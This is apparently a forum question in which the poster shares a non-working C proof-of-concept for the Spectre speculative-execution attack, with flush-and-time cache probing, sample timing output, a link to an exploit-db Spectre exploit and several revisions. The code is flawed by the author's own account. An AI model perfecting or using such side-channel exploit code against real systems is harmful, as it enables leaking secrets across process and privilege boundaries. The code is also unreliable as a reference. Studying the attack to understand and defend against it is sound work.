Inspired by this question and based on this:
Why does me unpatched sytsem *appear* to be not vulenrable by Spectre?
Figured out I will open a new question, instead of "polluting" somebody else question with questions.
I wrote this code:
It should speculatively load 'U' in the CPU Cache and later it is probed if it was found there, based on read timings.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
#define CACHELINESIZE 4096
#define REP 100
void main(void)
{
typedef char line[CACHELINESIZE];
line A[512];
// Initialise array to 'A'
for(int i=0; i<512; i++)
{
for(int j=0; j<CACHELINESIZE; j++)
{
A[i][j]='A';
}
}
// Flush address of i
for (int i = 0; i < 512; i++)
{
_mm_clflush( & A[i]); /* intrinsic for clflush instruction */
}
char secret = 'U';
char any = 'X';
char* pcheck[REP];
line* pwrite[REP];
for(int i=0; i<REP; i++) {
pcheck[i] = &any;
pwrite[i] = A;
}
/*
for(int i=0;i<REP;i++)
{
printf("pcheck: %c\n",*pcheck[i]);
printf("pwrite: %s\n",*pwrite[i]);
}
*/
pcheck[REP-1] = &secret;
pwrite[REP-1] = A+256;
/*
printf("pcheck:%c\n", *pcheck[REP-1]);
printf("pwrite:%c\n", **pwrite[REP-1]);
*/
char dummy;
for(int i=0; i<REP; i++) {
if (i != (REP-1)) {
dummy = *pcheck[i];
}
}
int t0,time_taken = 0;
int junk = 0;
char * val;
int mix_i=0;
int i,j;
int aux,res;
char RandomId[26];
char ListId[26]={65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};
srand(time(NULL));
for(i=0; i<26; i++)
{
res = rand() % 26;
aux = ListId[res];
if (ListId[res] != -1)
{
RandomId[i] = aux;
ListId[res] = -1;
}
else
i--;
}
for(i=0; i<26; i++)
{
t0 = __rdtscp(&junk);
val = &A[256+RandomId[i]];
time_taken = __rdtscp(&junk) - t0;
printf("trying: %c time: %i\n",RandomId[i],time_taken);
}
}
Executing:
./spectre
trying: Z time: 103
trying: D time: 94
trying: A time: 95
trying: S time: 94
trying: W time: 93
trying: Y time: 98
trying: X time: 93
trying: N time: 94
trying: E time: 93
trying: H time: 93
trying: B time: 93
trying: O time: 93
trying: V time: 93
trying: L time: 93
trying: M time: 94
trying: G time: 93
trying: U time: 93
trying: Q time: 93
trying: I time: 93
trying: C time: 107
trying: R time: 94
trying: P time: 94
trying: T time: 93
trying: F time: 94
trying: K time: 324
trying: J time: 94
So I cannot precisely determine what is in the CPU Cache, since many have similar low values.
Is there anything wrong with this approach?
It woks flawlessy on my laptop with this version:
https://www.exploit-db.com/exploits/43427/
Anybody see difference between above and version in this post?
I compiled it without optimizations (gcc -O0)
I do speculatively load 'U'
I clear the Cache (clflush)
Later I measure the timings.
I ran it on one Core (taskset 0x1 ./spectre)
I also added load (stress -i NO_OF_CORES)
Ideas anybody?
Update 1:
I thought it will be speculatively loaded here:
/*
The if evaluates to true 99 times in a row and then once to false. Thus I assume that in the last run,
branch prediction is fooled into speculatively executing (but later abandoning) the assignment.
*/
if (i != (REP-1)) {
dummy = *pcheck[i];
}
}
So dummy will be assigned 'U', that means it should be in the CPU cache?
Update 2:
Should this be enough ? Is that what you mean?
char dummy = 0; //prevent optimization by compiler
for(int i=0; i<REP; i++) {
if (i != (REP-1)) {
dummy = *pcheck[i];
A[256][256] = dummy;
}
}
Thanks,
Update 3:
Is this correct than?
for(int i=0; i<REP; i++) {
if (i != (REP-1)) {
dummy = *pcheck[i];
A[256][i] = dummy;
}
}
Update 4:
Also shouldnt timing be done like this?
volatile uint8_t * addr;
for(i=0; i<26; i++)
{
mix_i = RandomId[i];
addr = &A[256][10+mix_i];
t0 = __rdtscp(&junk);
junk = *addr;
time_taken = __rdtscp(&junk) - t0;
printf("trying: %c time: %i\n",RandomId[i],time_taken);
}
}